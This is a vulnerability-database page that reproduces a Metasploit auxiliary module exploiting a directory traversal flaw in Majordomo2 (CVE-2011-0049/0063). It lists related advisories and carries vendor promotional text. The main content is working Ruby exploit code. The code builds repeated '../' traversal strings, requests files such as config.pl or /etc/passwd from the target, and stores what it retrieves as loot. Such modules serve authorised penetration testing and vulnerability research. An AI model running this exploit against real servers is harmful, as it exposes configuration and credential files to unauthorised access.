Lucene search
K

Majordomo2 _list_file_get() Directory Traversal

🗓️ 12 Mar 2011 16:38:51Reported by Nikolas SotiriuType 
metasploit
 metasploit
🔗 www.rapid7.com👁 40 Views

Majordomo2 _list_file_get() Directory Traversal module exploits a directory traversal vulnerability in Majordomo2. It attempts to download the config.pl file by manipulating the URI

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Majordomo2 - Directory Traversal (SMTP/HTTP)
3 Feb 201100:00
zdt
Circl
CVE-2011-0049
3 Feb 201100:00
circl
Circl
CVE-2011-0063
3 Feb 201100:00
circl
CVE
CVE-2011-0049
4 Feb 201100:00
cve
CVE
CVE-2011-0063
15 Mar 201117:00
cve
Cvelist
CVE-2011-0049
4 Feb 201100:00
cvelist
Cvelist
CVE-2011-0063
15 Mar 201117:00
cvelist
d2
DSquare Exploit Pack: D2SEC_MAJORDOMO
4 Feb 201101:00
d2
d2
DSquare Exploit Pack: D2SEC_MAJORDOMO2
15 Mar 201117:55
d2
Dsquare
Majordomo 2 File Disclosure
27 Apr 201200:00
dsquare
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize
    super(
      'Name'           => 'Majordomo2 _list_file_get() Directory Traversal',
      'Description'    => %q{
          This module exploits a directory traversal vulnerability present in
        the _list_file_get() function of Majordomo2 (help function). By default, this
        module will attempt to download the Majordomo config.pl file.
      },
      'Author'         =>	['Nikolas Sotiriu'],
      'References'     =>
        [
          ['OSVDB', '70762'],
          ['CVE', '2011-0049'],
          ['CVE', '2011-0063'],
          ['URL', 'https://www.sotiriu.de/adv/NSOADV-2011-003.txt'],
          ['EDB', '16103']
        ],
      'DisclosureDate' => 'Mar 08 2011',
      'License'        =>  MSF_LICENSE
    )

    register_options(
      [
        OptString.new('FILE', [ true,  "Define the remote file to view, ex:/etc/passwd", 'config.pl']),
        OptString.new('URI', [true, 'Majordomo vulnerable URI path', '/cgi-bin/mj_wwwusr/domain=domain?user=&passw=&func=help&extra=']),
        OptInt.new('DEPTH', [true, 'Define the max traversal depth', 8]),
      ])
  end

  def run_host(ip)
    trav_strings = [
      '../',
      './.../'
    ]
    uri  = normalize_uri(datastore['URI'])
    file = datastore['FILE']
    deep = datastore['DEPTH']
    file = file.gsub(/^\//, "")

    trav_strings.each do |trav|
      str = ""
      i   = 1
      while (i <= deep)
        str = trav * i
        payload = "#{str}#{file}"

        res = send_request_raw(
          {
            'method'  => 'GET',
            'uri'     => uri + payload,
          }, 25)

        if res.nil?
          print_error("#{rhost}:#{rport} Connection timed out")
          return
        end

        print_status("#{rhost}:#{rport} Trying URL " + payload )

        if (res and res.code == 200 and res.body)
          if res.body.match(/\<html\>(.*)\<\/html\>/im)
            html = $1

            if res.body =~ /unknowntopic/
              print_error("#{rhost}:#{rport} Could not retrieve the file")
            else
              file_data = html.gsub(%r{(.*)<pre>|<\/pre>(.*)}m, '')
              print_good("#{rhost}:#{rport} Successfully retrieved #{file} and storing as loot...")

              # Transform HTML entities back to the original characters
              file_data = file_data.gsub(/\&gt\;/i, '>').gsub(/\&lt\;/i, '<').gsub(/\&quot\;/i, '"')

              store_loot("majordomo2.traversal.file", "application/octet-stream", rhost, file_data, file)
              return
            end
          else
            print_error("#{rhost}:#{rport} No HTML was returned")
          end
        else
          # if res is nil, we hit this
          print_error("#{rhost}:#{rport} Unrecognized #{res.code} response")
        end
        i += 1;
      end
    end

    print_error("#{rhost}:#{rport} Not vulnerable or the DEPTH setting was too low")
  rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
  rescue ::Timeout::Error, ::Errno::EPIPE
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation